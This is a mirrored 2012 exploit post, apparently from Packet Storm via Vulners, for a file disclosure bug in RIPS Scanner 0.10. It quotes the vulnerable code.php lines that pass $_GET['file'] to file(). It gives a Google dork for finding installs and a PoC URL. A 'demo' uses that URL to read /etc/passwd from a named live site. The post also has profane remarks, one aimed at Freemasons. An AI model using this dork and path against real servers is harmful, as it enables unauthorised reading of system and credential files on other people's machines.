Lucene search
K

RIPS Scanner 0.10 File Disclosure

🗓️ 08 Jun 2012 00:00:00Reported by L3b-r1'zType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 21 Views

RIPS Scanner 0.10 File Disclosure, PoC for code.php file exposur

Code
`# --------------------------------------- #  
Author : L3b-r1'z  
Title : Rips-Scanner File Disclosure  
Date\Time : 8/6/2012  
Email : [email protected]  
Site : Sec4Ever.com & Exploit4arab.com  
Google Dork : allintitle: "RIPS - A static source code analyser for  
vulnerabilities in PHP scripts"  
Version : 0.10  
# --------------------------------------- #  
This PoC was written for educational purpose. Use it at your own risk.  
Author will be not responsible for any damage.  
# --------------------------------------- #  
1) Bug  
2) PoC  
# --------------------------------------- #  
2) Bug :  
In File code.php folder /windows/  
In Line 102 To 108  
$file = $_GET['file'];  
$marklines = explode(',', $_GET['lines']);  
  
  
if(!empty($file))  
{  
$lines = file($file);  
  
We Have variable File _GET['file']  
  
And We Have Function file($file);  
  
File Function Is Like Show Source :D  
# --------------------------------------- #  
3) PoC :  
http://domain.tld/windows/code.php?file=the correct path to file  
  
Demo On WTF Im L33t :P :  
http://www.wtfiml33t.com/windows/code.php?file=/etc/passwd  
  
NOTE : Fuck All FREEMASONES  
Another NOTE : FUCK ALL SCANNER TOOLS :@  
# --------------------------------------- #  
Thx To : I-Hmx , B0X , Hacker-1420 , Damane2011 , Sec4ever , The  
Injector , Over-X , Ked-Ans , N4SS1M , B07 M4ST3R , Black-ID.  
# --------------------------------------- #  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation